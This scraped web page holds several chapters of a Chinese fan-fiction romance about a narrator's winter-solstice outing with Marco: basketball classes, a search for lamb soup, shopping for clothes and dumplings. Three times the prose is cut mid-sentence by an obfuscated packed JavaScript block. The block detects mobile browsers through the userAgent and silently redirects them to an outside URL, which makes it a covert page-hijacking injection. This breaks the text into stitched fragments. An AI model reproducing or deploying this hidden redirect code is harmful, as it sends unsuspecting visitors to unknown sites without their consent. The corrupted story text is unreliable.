d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329257|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头肯定,“卡卡西和修兵都很喜欢……你可以试试,说不定你也会喜欢。” 我的生命在于静止,并不妨碍修兵和卡卡西的生命在于运动。 比起网球,篮球的门槛更低,更为大众通俗。我的刻板印象里,男生们大抵都会一点。修兵属于“会”,而卡卡西是尤其喜欢。我想在一些方面马尔科和卡卡西有一些共性,比起排球、足球、乒乓球……很大概率他也会更喜欢篮球。 但这只是我的猜想。喜欢与否,得他尝试以后才知道。我能做的,唯有鼓励他去尝试。 “……以前卡卡西总带我去小公园的篮球场打球,”我和马尔科说起从前的生活。 每逢夕阳西下,我们一家人都在那里聚首。 身为能力者,卡卡西的素质远在旁人之上,街头上的路人只能望其项背,玩不到一起。他只能等修兵下班,然后和修兵玩一会儿棋逢对手的一对一。 修兵也会提前买好奶茶,把我安排在边上休息,他去和卡卡西对垒——日常在编辑部上班时,没有人知道他是能力者,也只有下了班面对我们,他才会彻底放松神经。 我平等地不喜欢一切运动,篮球也不例外。 但那些鲜艳如火的夕阳,瑰丽壮阔的晚霞,絮絮叨叨的对话,甜甜的奶茶,抢着吃的冰淇淋,被篮球砸到脑袋的经历……却给我留下了深刻的印象。 “……我总被卡卡西的球砸到,”我和马尔科讲,“我怀疑他是故意的,但是他不承认。” 卡卡西不承认我也没有办法,毕竟这只是我的怀疑,之所以是“怀疑”,是因为我没有证据。 但凡我能找出证据,我早跟修兵告状了,也不至于一直被砸。 马尔科听了哈哈直笑:“那被球砸到很疼吧?” 上次我们一起去球场是夏天的傍晚,眼下秋去冬来,被砸到的地方早已经不疼了。但他说着话,自然而然地侧身抬手,摸了摸我的头。即便没有青焰在手上燃烧,格外温柔的口吻也会有抚慰的力量。 马尔科哪里是什么恶贼,他分明是先天疗愈圣体,一笑起来,周身遍布人性的光辉。 他甚至不需要动用再生之炎,人往面前一坐,天然治愈。 “……嗯,”我一点也不疼,但我趴到他肩头哼哼,“所以你要帮我。” “我要怎么帮你啊?”马尔科只是柔声说话都会让我感到惬意。 “你也去打球……你体能那么好,你去当前锋中锋。总之别让卡卡西盖帽,他一盖帽就砸到我——” 卡卡西原本也不适合做前锋中锋,他不以体能见长,更擅长调度指挥,最佳的位置是控分后卫。 修兵也不适合,修兵虽然全能,但最佳位置是得分后卫。比分不能拨动他的心弦,他是个没有感情的得分机器。 我们家没有适合正面对抗的“坦克选手”,我看马尔科合适——体能出类拔萃,性格也好,谦和,不在乎名头,简直是天选之人。 马尔科要是上场,家里都可以组三人队了。 我可以当教练,有自己的专属小板凳,不用挤在人群里。 “……你试试篮球吧?真的很适合你,各方面都很适合!” 我推介马尔科上,走卡卡西的路,让卡卡西无路可走,只能老老实实回去当他的控分后卫,免得他一当前中锋就邪门,次次盖帽都砸到我,砸得我一度不愿去球场待着。 可是夕阳极美,光阴也醉人。 我不能因为挨砸就放弃它,那太软弱了。人也不能既要又要,在追逐美好的路上总归会付出一些代价。 如果控制不了球往哪里方向飞,那就控制住打球的人。 无非是质疑卡卡西、理解卡卡西、成为卡卡西、超越卡卡西罢了。就像质疑修兵、理解修兵、成为修兵、超越修兵一样。 没什么大不了。 我得说服马尔科,这可是一本万利的买卖。 “……这也是‘照顾’的一部分,”我趴在他肩头哼哼,“你负责保护我,我分冰淇淋给你吃。” 撒娇对马尔科尤其管用。 “好吧,既然你都这么说了,”他咧着嘴笑,半句也不推辞,“遵命,大小姐。” 29.14 光明(2) 马尔科好会啊……他说“遵命”,浪漫得像在说什么童话。 “大小姐”本是一种调侃,我只是一个管理员,并不是什么了不起的人物。但这句“遵命”以后,我却仿佛变做了哪国尊贵的公主殿下。 童话里不都这样写吗?公主殿下一声令下,勇士们肝脑涂地。 我的勇士也开始行动了。 助理刚回消息,还没有开始介绍体育课程,马尔科已经决定了——“要篮球课”。 助理开始输入,还没有介绍篮球课的课程模式,马尔科已经给出方案——“四节课都要,不过时间上得沟通一下”。 篮球课也分理论和实践,要考完理论部分才会开始实践操作。 马尔科身兼多职,医学方面的文化课已然堆叠如山,篮球课的理论部分属实分身乏术,无暇顾及。这一部分他准备自学,课不上了,由助理和授课老师沟通,届时只参加理论考试。 至于实践部分,教务处上明确提供了两种模式:一种是针对纯新手的跟课,只算课时分;另一种是对于有一定基础的学生,不算日常分数,只在期末考试时安排一场比赛,参赛即可。 马尔科选择第二种,不过这样一来,他至少得参加四次比赛。 “……但这样的话,不就等于全部自学吗?” “嗯,还是和之前一样,考前通知我好了。” 助理没有异议,每次马尔科找上门都是如出一辙的结果。 ——OK。他说他去搞定。 但我颇有微词:“时间这么仓促,真的来得及吗?” 十二月见底,眼下篮球课已经开课了一个多月,普通学生已经通过了理论考试阶段,进入实践环节。马尔科要在这个节骨眼上当插班生,理论部分的确可以自学补考,但实践部分也能这样完成吗? 篮球课毕竟是四节,难度层层递增。要一次通关篮球,意味着要在短时间内学会打篮球,甚至要有各个位子的理解……学习本身困难重重,并不容易,何况一个月后是考试季,马尔科本身还有医学课要备考。 我不是怀疑马尔科的实力,我只是在说他太辛苦了。 我希望他离开教室,多出去走走,目的是休息,而非变本加厉地加重他的负担。 “别事,来得及的,”马尔科不以为然,语气坚定,毫不动摇,“还有一个多月,怎么来不及?” “……”我一时语塞。 我手笨脚拙,连走路都摔。“学个打球”对我来说难于上青天,但对马尔科……我无法评估。 “那你太辛苦了。” “没有辛苦,”他否认了,“这算什么?家里的事修兵和卡卡西挑了大梁,我也没什么事可以做,就只是读书而已——读书怎么能叫辛苦?” 他的意思是,读书是一种享受,为此他甘之如饴。 我也承认书中自有颜如玉,书中自有黄金屋,读书是好的,读书的事不能叫“辛苦”,我只是……我也不知道该怎么说。 我从来不是一个擅长表达的人。 片刻的停滞后,我再次强调:“……那要是辛苦就停一停,成绩没有关系,不用那么快毕业也可以。” “好~知道了,”马尔科笑了笑,答应地爽快。不再和我聊读书的事了,话锋一转,忽然说起,“大小姐,我今天下午没课,现在也还早——” “嗯,所以你想做什么?” 我懂他的画外音。我都可以,我听他的。 冬天的太阳虽然明媚,但没有太多的温度。坐在空空如也的小路上,行人捎来阵阵阴风,即便身侧有马尔科挡着,吹在我身上,仍然寒冷刺骨。 一旦离开家,马尔科就不能点燃火焰,替我取暖。 我早感到手冷,说着话,又把手塞进他风衣外套里。 “……又冷了吗?”马尔科见怪不怪,接过我胳膊,把我整个人也拽进了外套里。 正午一过,天气只会越来越阴冷。 “我之前在学校论坛里看到冬至吃羊肉汤是这里的习俗,”他冷不丁地问起,“这是真的吗,大小姐?” “嗯,是真的。” “那果然还是要让你吃上羊肉汤才行……”马尔科喃喃自语。 他居然还没死心呢?可我已经不再考虑羊肉汤的事了。 修兵毕竟是做记者出身,对事件的分析和心理刻画非常精准。我们在这里居住了整整六年,过去六年羊肉汤从未有过这般高价,这次的例外很大程度上是大家都受了气温骤降的刺激,油然地引动了一些不好的回忆。 所以这已然不是一个吃饭的问题,而是一场和大众的心理博弈。 问题的根源在于人们对“未知”和“绝对力量”的恐惧,而这种恐惧无法消散,它来自更深层次的“剧本落幕”。风险意识会让大家做出蜂拥而至的不理智行为。越是性命攸关时,越知金钱无用,是废纸,并不能抚慰人心。 我们已一一拨通了附近的羊肉汤店电话,结果只能作罢。马尔科还想带我吃,那只能考虑去市中心找店。可是如果连我们这偏远的地方都供不应求、有价无市,我想市中心的状态大概率只会更甚。 羊肉汤这件事基本是定局,没有改变的余地。一味纠结于此,结果不会乐观,恐怕只会遗憾。 马尔科心好。心好更不应该受伤。 我认定今年情况特殊,羊肉汤不吃也罢。 “你刚才要说什么?”我跳过羊肉汤的话题,提醒他我们还有别的事要做。 马尔科却笑着把话题拉了回来:“没什么,我是说时间还早,反正今天没课。不如我们去市中心看看吧?刚才只是看到我们家附近,市中心说不定有卖羊肉汤的……” “……”马尔科是真不死心。 我已经在用力往回拽了,但结果显然易见,我没有成功。 好吧,既然于此,我不说了,忍俊不禁。 他平常很好说话,我不知道马尔科骨子里还有这样倔强的一面。 我忍俊不禁。好吧,这也是一个优点,恒心和毅力都是不可多得的宝藏。 “那我们现在走吗?”我只会配合他,我也会说到做到。 “好啊!” 等这一阵寒风过了,马尔科牵上我,即刻出发。 学校外面的银杏路上有公交车站,41号可直达市中心。我们去站台等,秋天人声鼎沸的道路,一到冬天万籁俱寂。十二月底并不是我们这里最冷的时节,我怕冷,早早围上了围巾、裹上了厚棉服。隆冬将至,马尔科还穿着单薄的风衣。 公交车未至,闲着也是闲着,我叫他—— “马尔科。” “嗯?” “你帮我问一下修兵,置物中心最近有没有上新……” 天太冷了,我不想把手拿出来,便使唤他帮忙做事。 这种时候他脾气很好,任劳任怨,说什么都配合。在此之前,我都只知道马尔科性格认真,待人温和,从没见过他执着的一面。但羊肉汤已成定局,他执着下去只会受伤。 我不想看到他失望的表情,那种表情在他刚来我们家时我见到了太多。马尔科还是笑起来好看。 修兵在开会,暂时没有回复。马尔科问起我:“大小姐,你要去买东西吗?” “嗯,”我认真答道,“我们去看看,最近应该有上新,也会有折扣——你还没有冬天的外套。” “啊?给我买吗?” “是的。” 他愣了下:“但我不冷啊。” “!”我惊了,他在说什么傻话,我听不懂:“你不冷也要买啊,哪有人冬天不穿厚外套的?” “可是我不冷的话——” 公交车在转角处探出了头,不是我们要等的41号。它呼啸而来,孑然而走,卷起寒风数道。 我没能听清马尔科在说什么,我在风里睁不开眼。马尔科及时把我揽进了风衣里,而那风衣之单薄,压根无法替我阻挡寒气。 “买吧。” 没有“可是”,马尔科当场改口。 “就是嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346823|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”我嗔怪他,“你的风衣一点也不保暖,风吹过来,我都好冷!” “哈哈,抱歉抱歉,都忘了你怕冷,得在我这里躲着……” 马尔科现在负责照顾我,一举一动都和我息息相关。从前他是一个人,过惯了自由日子,但现在他的事不全是他的事,也是我的事。我的冬天可就指望赖着马尔科生存,没有厚外套怎么行? 一件厚外套并不会给他带来额外的负担,在教室里他也没有穿的余地。 那推辞的口吻和跟我商量退课时如出一辙——我想“不冷”的背后,大概是对钱的考虑。 但这没有任何考虑的余地。 我们家是不富裕,是应该开源节流以缓解经济危机。但在必要的生活开支上“节流”是本末倒置。 我们只是尽量避免奢侈,不是不能正常生活。 该买的衣服要买,该吃的饭要吃。苦什么不能苦孩子,穷什么不能穷教育。别人有的,马尔科都要有。 ——他在说什么啊他? ——怎么会有人为了省钱连必要的衣服都可以不买啊? 退一万步讲,不怕冷也不能不换冬季外套,那会被人看出“不同寻常”,能力者身份一旦暴露会惹来更大的麻烦。与法与理于情,这都不是可以推辞的内容。 马尔科他说傻话,或许是近朱者赤近墨者黑,被我传染得脑袋冻坏了。 我懒得理会他那些奇奇怪怪的发言。脑袋冻坏了,要快点买外套才行。 “修兵还没有回消息吗?” “我看看……” 修兵回消息了,马尔科一拿手机,他的消息恰如其分地抵达。 上文马尔科转述了我的发言,问他置物中心有没有上新。别的不用说,修兵秒懂,不仅回复“上新了,正好想给马尔科买冬天的外套”,还直接转来了我们家在置物中心的SVIP购物卡权限。 “正好。最近置物中心上新了冬装,你们有空的话自己去试穿一下,种类太多了,我选择困难。” “专项资金在卡上,优惠券也购入了。不用留,都花光。再等几天元旦,优惠券要过期了。” …… 马尔科没有冬装外套,只有他自己认为“没所谓”,其实“有所谓”——修兵大总管早有准备,只是碍于工作繁忙,没顾得上行动。我们在这个节骨眼上联系他,只可谓一拍即合。 “你们消费完,记得看看积分够不够十万?如果够了,去积分兑换处找工作人员换一把刀。” “刀?” “对,卡卡西喜欢的珍藏版。大小姐知道款式,你带她去就好了。” “好,收到。” 修兵还要开会,马尔科没再多说,转头问我,一脸诧异:“……你和修兵一直都这样吗?” “什么?” “你和修兵,真的很有默契!我分明没有说要买外套的事——” 马尔科没有告诉他,但修兵不需要见面、不需要对话、一个眼神就懂、没有眼神也无碍,思想的同频无惧时空的挑战,仿佛是我肚子里的蛔虫,什么都不用说,他全都懂;而且不是现在才懂,是在我问他之前,他已经和我同步了。 这是一种超能力——卡卡西已经说过我们许多次了。 “怎么做到的?为什么能这么默契?”马尔科也问我,“是心灵感应吗?” “不是心灵感应,”我肯定。但具体是什么,我也说不清楚。我只知道我和修兵之间的确存在一种特别的默契,能像照镜子一样能照见彼此。 “你也等修兵出书吧,”我建议马尔科。 我是认真的,而马尔科忍俊不禁:“那修兵老师什么时候出书呢?” “……”这我也说不清楚。至少卡卡西催更至今,修兵老师还不见出书的意愿。 “下次你和卡卡西一起催更吧,人多力量大。” “哈哈,好!” 寒风去了,耳畔只剩下开怀的声响。 我抬头看了眼,果然呢,马尔科还是笑起来好看。 30.14 光明(3) 公交车终于来了,是我们要搭乘的41号。 学校附近不比家一样清净。等待时不见人影,临近车来,站台边忽然人头攒动。一辆空车施施然而来,在开门的一瞬间,以迅雷不及掩耳之势人满为患。要不是马尔科眼疾手快,一胳膊把我提溜了上去,否则我只能眼睁睁看着。 学校是个很好的地方,校外又不是。 车上满员,座无虚席,连站都费劲。 吊环拉手早被哄抢一空,只剩下高处的横杆可以搀扶。那种高度我垫着脚也够不着,好在有马尔科,他一手抓住栏杆,一手把我护在胸前,我方才可以在踉跄里勉强稳住身子。 我真的很不喜欢和人接触,人稍微一多就浑身不自在。马尔科是我唯一的安慰。 从公交车上下来,我不由自主地叹了口气。 “哎呀……” “哎呀,干嘛呀大小姐?” 我都这样了,马尔科居然在笑。 他笑吧—— 这里是市中心著名的美食街,马尔科还没有放弃吃羊肉汤的念想,但我估计最多半小时,他就笑不出来了……他笑吧,能笑出来的时候就让他笑吧。 半小时后,一如我所料。 “市中心也没有羊肉汤啊?”马尔科不笑了,眉头紧锁。 “没关系,”笑容不会消失,只会转移。该我笑了,我拉着他手,“我们去买衣服吧,买完在置物中心吃饭。” “置物中心有饭吃吗?” “有的,置物中心应有尽有。” 马尔科一无所知,之前都是修兵安排工作人员□□。 他应该多看一看,不仅是置物中心,还有家附近的街头篮球场。我们送他去上学是为了更好的生活,但生活可不仅仅只有学习——他千万不能学成了书呆子。 “今天置物中心会供应饺子和汤圆,冬至吃饺子和汤圆才是最正统的‘习俗’。” “是吗?那他们为什么说羊肉汤……”马尔科推了下眼镜,灵光乍现,“是因为有商机吗?” “嗯,是的。”他好聪明。 羊肉汤一斤卖到两百多块,而饺子和汤圆在超市里买点速冻,也不超过二十。 我要是商家,我也会把“冬至到、吃水饺”的俗语,改成“冬至到、羊肉俏”大肆宣传。 “……冬至的正统习俗是北方吃水饺,南方吃汤圆。而羊肉汤滋补,整个冬天都可以吃。不想在冬至当天吃水饺和汤圆的话,选羊肉汤也可以。” 我把习俗的由来解释给他听,仔细说明羊肉汤是三人成虎的“习惯”,而非冬至佳节的“习俗”。今天不吃真的没关系,来日方长,以后再吃也行——这件事大可不必耿耿于怀。 马尔科似乎听明白了,终于不再纠结。 “好吧,”他舒了口气,笑着问我,“那我们今天吃什么?水饺还是汤圆?” “修兵让我们把余额用光,”我提醒他认清现实,“等我们买完外套,剩下的部分当然是有多少花多少——” 如此一来,才可以攒够积分,赶在年前给卡卡西换奖品。 那把刀他心心念念许久,但十万积分不好攒,今年能拿下的话,没有道理再等明年。 马尔科闻言一愣,没有回神。 我直说了:“小孩子才做选择,水饺和汤圆我全都要!” …… 去置物中心的路我认识,为这十万积分,此前我和卡卡西多次往返,已然形成一种肌肉记忆。 眼下天色渐晚,再等下去,等到华灯初上,整个城市都是一派人头攒动的盛况。在事前还没有变复杂之前,我带着马尔科赶紧出发,横穿美食街,径直去往隔壁街区的置物中心。 市中心烟火气繁盛,不比我们家附近冷清。 途中的喧哗本是一番风景。马尔科目不斜视,啧啧称奇:“大小姐,你居然认得路?” “嗯,是的,”我告诉他卡卡西对那把刀的喜爱,也告诫马尔科,“不要告诉卡卡西,等他回来,我们送给他当礼物。” “……好啊,”马尔科答应了,他不会出卖我的,我相信他。 说起来隆冬将至,新年也进入了倒计时。 今年还应该给修兵和马尔科准备礼物,正好一道消费。 “……过年给修兵买个按摩器吧?”我和马尔科商量。卡卡西不在家,这件事我们决定了就好。 “什么按摩器?”他侧耳来听,反问我,“眼睛还是颈椎?” “!”我被他聊愣住了,修兵眼睛不好我知道,修兵颈椎也不好了吗? 我毫不知情,连忙请教马尔科:“他颈椎有问题吗?” “有一点,”马尔科答,“但我只是看到他姿态有点问题,不确定是短期的肌肉劳损还是长期的骨性问题……这个要具体检查才能确定。” “……”我只有沉默,家里果然要有一个医生才好啊。 “你专业,你来选。”我决定了,我们直接买两个。 至于给马尔科买的礼物,我早有打算。 打球需要一些装备。选好羽绒服后,我直接拉着马尔科去试穿球鞋。 “鞋子需要买吗?”他满脸震惊,“我不是有运动鞋吗,大小姐?” “那是普通的运动鞋,现在要去打球,你要买专业的篮球运动鞋。” 专业的设备能起到事半功倍的功效。这些话无需我解释,旁边的工作人员会替我说明。 额外的置入会需要额外的开销。马尔科皱了下眉,我知道他在担心这个。 “……过年会有一大笔年终奖,等卡卡西任务回来也会有额外收入。不用担心。” “额外收入?” “嗯,”我保证有,但不解释,“是惊喜,到时候你就知道了。” “好吧,”马尔科没有多问,乖乖试穿了球鞋,又被我推进更衣室试穿球衣。 他总不能穿着衬衫去打球,不是不可以,而是不伦不类。 人应该在合适的场合做合适的事,即便是打球也得入乡随俗。这不仅是一种主观态度,更是一种客观规律。就像冬天不会百花齐放,春天才会破土而出一样。只有因时制宜,方能事半功倍。 “还行吗?” 马尔科穿着41号球服从更衣室出来,衣架子名不虚传。 人虽然还是同一个,但穿上制服文质彬彬、温文尔雅,穿上球服又活力四射,秒变清纯男大学生——甚至于更衣时不小心弄乱的头发也成为极好的装点,上翘的发丝显出许多率真自然。 “很帅气!”我围着他转了两圈,赞不绝口。 “……”他不语而笑,忽然腼腆的样子更像清纯男大学生了。 “真的很帅气!” 帅气到让我倍感惊喜,我第一次知道原来马尔科也适合走运动路线。 篮球衣宽松,一上身,他个子高挑、四肢修长,身形极为精瘦的特点锋芒毕露。耀眼的冷白皮给他增添了一点清爽的气息,偶一回眸,少年感扑面而来。 少年感当然是好东西,球衣也是好东西。 我要两套,红蓝各一,方便换洗。原本还需要另行挑选冬季外套,我当下决定,买运动款的羽绒服——既然他尚存一点少年气,那就顺其自然地留下它。 运动系列的衣物都不修身。 马尔科穿上宽大,但把我塞进去的话正好。 “唔,很合适,”他毫不费力地决定了,“就它了。” …… 马尔科这头搞定,再去负一楼带上给修兵的按摩器,愉快的购物之旅到此为止。 我拉着马尔科去结账,经过配饰区,他突然停了下来—— “也得给你也买点什么啊,买个帽子吗?” 模特身上戴着最新流行款的帽子,他取了一顶,盖在我的头上。 “快拿走!” 丑死了!我赶紧取下来还给他,顺便修复我被弄坏的发型。 “那买个新围巾?”他去摸挂在模特身上的一条。 “不要。”我赶紧叫停他。 我喜欢他送我的这条,如果他敢取下来,我马上翻脸生气。 马尔科没有取,他只是指了一下,就把手收回,拿起了一旁的手套—— “那手套呢?” “不要。” 我需要手套吗?天冷的时候,我都把手塞进他手心。 马尔科在干嘛?他又不是不知道! 我瞪他一眼,不许他再说了,再说就“生气警告”。 “……好吧,”他知趣地不说了,但没走两步,话锋一转,又讲,“如果开设了编织课Ⅱ,我再选一门吧?给你做个小帽子什么的。” “不要了。” “嗯?不是喜欢吗?” “就是喜欢才不要了,”我拽他快走,边走边解释,“有了手套和帽子,有了更多的选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418606|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择,围巾就不是那么重要了。” 它不能不重要。 我喜欢它,它是天下第一好。我要每天都戴着它。 “大小姐,”马尔科笑着叹气,“我知道你很喜欢它。但冬天还很长,你就只戴这一条围巾吗?” “不可以吗?” “可以是可以,”他愈发叹气,“但是小姐,你不需要别的装扮吗?” “什么装扮?” “你那么多可爱的小裙子,全部搭配这条围巾……这合适吗?” “……”合适啊!为什么不合适?我不理解。穿搭全凭个人喜好,我的穿搭以保暖为主,不可以吗? “它很漂亮,可以百搭。” “我知道,我是说——” 我在等他解释,但他看着我,空是张嘴,到底欲言又止。 “说呀?”我不知道马尔科是什么意思,他若不说出口,我不会明白。 “没什么,”他推了下眼镜,再开口时,话题已经变得不再是同一个。 “我是说……你的喜欢是无可替代吗?” 这个问题很奇怪。 我不懂他究竟要问什么,只能就事论事地答:“我的喜欢不是无可替代,它的存在本身才是无可替代。” “……存在本身?” “是的。” 我并不擅长解释,不知道这样说他能不能听懂? 我的意思是,被人为赋予的“意义”会随着赋予者的需求变化而改变——就像饥饿的人视食物为上帝,但一旦食物过剩、腹中不空,食物就不再是他眼里的天神一样。 而在万千的变化里,唯一不变的只有其“存在”本身——一如世间若没有人类,金子不能成为货币,但它仍然是“金子”,永远将作为“金子”存在。 人总是环境的产物,喜好会因为环境而变化。 在某一特定的环境里,所有人都会产生同样的需求,而需求会演化成“倾向”或者“喜欢”。所以没有什么“喜欢”可以被称作“独一无二”,“无可替代”只可能是其存在本身。 我说的是客观存在的真理。 不是因为我喜欢,我的围巾才“无可替代”;而是因为它本身“无可替代”,所以我喜欢。 就像这个世界上不会有两条一模一样的围巾、不会有两个一模一样的人。即便是马尔科再给我织一条,也有时间的长河一去不复返。除非有人能两次踏入同一条河流,否则这条围巾永远是“独一无二”的存在。 总有事物能代替它的价值,但没有任何东西可以替代它的存在。 而我在乎的,不是它的价值,而是存在本身。 …… 马尔科的心意才是重要的。这是我的答案。 是因为他的心意具象化成这条围巾,所以这条围巾重要。和我喜不喜欢没有任何关系,是它的存在本身弥足珍贵。 但我属实不擅长解释。在脑子里清晰缜密的思路,一旦开口,就会土崩瓦解成一团乱麻。 我静静等待着马尔科的回应,等他提出问题,我再解答。 但他只是在对视里静默,许久之后的莞尔一如梦初醒。 “……真好啊。”我听他喃喃自语。 “什么?” “送大小姐的礼物会被珍惜……真好啊。” 再无他言,马尔科揽我入怀。 呼吸随着话语在我发顶响起,徐徐的声调有如流水般舒缓,伴着一点柔柔的笑意,一点水波跃动的清明……太温柔了,用这种温柔的语气和我说话,我也不由地放松下来,收敛了脾气。 “礼物当然要珍惜了!”我嗔责道。 礼物因心意而存在。 不珍惜心意的人不配得到心意,即便偶然得到,最后也会失去。 但我的围巾是世界上最好看的围巾! 它那么漂亮!我不允许任何人对它指指点点——马尔科本人也不行! 这已经是第二次了。我警告马尔科:“事不过三,不许你再说怪话!” 我在瞪他,他却忍俊不禁,摸摸我的脸,也摸摸我的围巾:“好好好,一定不说了,对不起对不起。” 我不确定:“……是知错就改的态度吗?” 他掷地有声:“嗯,是知错就改的态度。” “那好吧。” 他信誉良好,看在他是围巾爸爸的份上,可以再多原谅他一次。 31.15 如一(1) 问题不大。 话说清楚就好。 有些话必须要说清楚。一味雾里看花、浑水摸鱼,只会引起更多不必要的误解——尤其是对于我这样本就不善言辞的人而言,若不能从根本上阐明,几乎等于鸡同鸭讲、全盘皆输。 我们是家人,马尔科有必要知道我的看法。 我万分认同他的温柔与体贴,也感激他想要给我买礼物的拳拳之心。 可是流行不等于美丽,时尚不等同格调。只有合适的才是最好的,而“合适”与流行、时尚、美丽、格调……毫不相干,只和个体独特性有关。 我这个独特的个体不喜好冬天出门,如果不是马尔科亲手编织一条送给我,我的衣柜里至今不会出现围巾——它能留下仅是因为代表马尔科的心意,就像粉红小海豚是卡卡西的心意一样。 家长因自家小孩第一次尝试做饭而欣喜,即便做出的菜品差强人意,也会说着“美味”,全部吃光。 家长肯定的不是菜,而是人。如果孩子反而认为家长喜欢吃烧焦的肉、炒糊的菜……每日每日送来,那便成一种滑稽可笑的舍本逐末、本末倒置。 我只是接受了心意,不接受臃肿繁复的赘余。 千万不要本末倒置:一是开始,也是结束。我们的衣橱有限,没有太多的空间可以存放丑东西。 …… 家人之间没有耿耿于怀的必要。我执着于要和马尔科说清楚。 只要说清楚,马尔科终于不再执着买礼物给我,愉快的购物之旅也终于可以落下帷幕。 我们去收银台结账,马尔科负责和工作人员沟通。 球鞋、球衣、羽绒服、按摩仪器……合计八千。修兵给卡上准备了五千,加上优惠券和SVIP折扣,正好能有八千的购买力。 不仅如此—— 五千余额花光正好凑够十万积分,可以给卡卡西兑换永久限量版查克拉刀。 一举两得,财务大总管的精算水准可见一斑。 收获满满,万事顺遂。美中不足的只有置物中心不支持现金消费,财务总管算得太极致,卡上一分不剩,我们便无缘会面置物中心的冬至套餐。 “怎么办?”马尔科问我。 “怎么办!”我也问他。 一阵面面相觑,到底无可奈何。 置物中心的余额要靠“置换旧物”积累:市面一百块的物件置换旧物时能抵扣三十“余额点”。但置物中心的三十,其购买力约为市面的四、五十。我们家SVIP卡加上购物券,购买力能达到六、七十。 “余额点”和“现金”是截然不同的两个概念,不可同日而语。 “余额点”的购买力系数是办事处承担的福利兜底。用现金购买余额违法,我们不能明知故犯。 眼看天色渐晚。包装好礼物,马尔科带我去外面吃饭。 好在水饺和汤圆不比羊肉汤稀罕,临街的小店里数见不鲜。 冬至佳节,行人比往常更胜。 马尔科一手提着礼品袋,一手牵着我。 “我们去哪家店?” 乱花渐欲迷人眼。人潮涌动中,我轻易地迷失了方向,杵在原地,选择困难。 马尔科略一踌躇,示意道:“大小姐,那边有羊肉馅的水饺!” 马尔科还是没有放弃羊肉汤。一发现关键词,立马拉上我左旋右转,去吃羊肉葱花馅的水饺。 快三个月了,他仍然要等热气吞噬了镜面,才会惊觉鼻梁上架着一副眼镜;而我也仍然会在他取下眼镜时,油然回忆起他看不见招牌,磕磕绊绊的回答。 ——“今日……什么饭?” 话语在我脑海里响起,忽然间又觉索然无味。 这是我人生里第一次吃羊肉馅的水饺。 人果然还是不要过多尝试新鲜事物。 纵使羊骨熬制的高汤香飘百里,偏偏这饺子入口味同嚼蜡。我说不清楚那是一种什么样的滋味,总之难以下咽,我只吃了一个就失去了胃口。 “怎么了?”马尔科也停了动作。 “……”我说不上来,摇了摇头。 老板在边上站着。马尔科没有多问,稍加思索,伸手把我这碗端到了他面前,让我重新选一份。 水饺店里可选项目不多,除了饺子只有冬至特供的汤圆。汤圆口味亦有限,有且只有黑芝麻一种。 我点了一碗汤圆,再加两颗荷包蛋。 住在十八线小城市的好处之一是物美价廉。 同样是两碗大份羊肉水饺、一碗汤圆、两颗荷包蛋,身处特级城市至少也要一百三十块,而我们这里只要三十。 三十块买不了吃亏,买不了上当。 看在如此便宜的份上,算了,原谅它是速冻汤圆。 …… 回程的公交车没有那么拥挤。 今晚修兵要去照顾同事,不回家。卡卡西也迟迟没有回家的讯息。冬至佳节,家里只剩下我和马尔科两个。我们商量着把礼物藏在卡卡西的枕头下,等他一回家就惊喜得跳起来;再抽个时间,由马尔科检查修兵的颈椎问题…… 返程的路上,窗外开始落雨。 我洗完澡,钻进被窝里,见马尔科举着手机,在看篮球比赛。 是刚才公交车上正上演的那一场。比赛已经有了结果,现在在回放。 “这就是卡卡西喜欢的球员吗?”马尔科揽过我,没准备让我睡,拉着我一起看,“就这个?” “嗯,11号,卡卡西也是11号。” 马尔科拧了眉:“那卡卡西喜欢他哪里啊?看起来不怎么聪明的样子啊……” “!” 我惊住了。 我只在车上告诉了马尔科这是卡卡西最喜欢的球队和球员,可绝对没有告诉他有关11号球员的讯息,是他自己看出来的。不得不说,他真的很懂卡卡西! “卡卡西就喜欢他不聪明的样子。” “哈?”马尔科不理解,“为什么?” 我把脖子伸长,让他看看我脖子里的编号——巧了,也是11号,也是不怎么聪明的样子。 马尔科沉默了,憋着笑。 “不过是我猜的,”我缩进了被窝里,是秘密,我也只跟他说过。 “那你猜的准吗?”马尔科关了手机,缩进来问我。 “不知道,”我没有问过,没有答案,只是感觉,“感觉是他会做的事情。” “哈哈哈……”他终于还是憋不住了,又把我们的床笑出了地震模式。 “——马尔科!” “哈哈哈,好了好了,睡觉。” 灯熄了。地震停了,余波不断。 耳畔仍然回旋着愉悦的抽吸声,警告无效,马尔科把我调转了方向,手顺进我衣摆里,盖在我肚皮上轻轻按揉。火焰在被窝里燃烧,没有光亮,只有一股暖意从肚脐升起,然后游走向四肢。 “晚上回来有点降温了……” 马尔科在我耳边软语,柔和的声线总像是春风拂面。 我不由得缩了缩脖子,整个人都窝进他臂弯里。 “大小姐,肚子有没有不舒服?” “没有呀?” 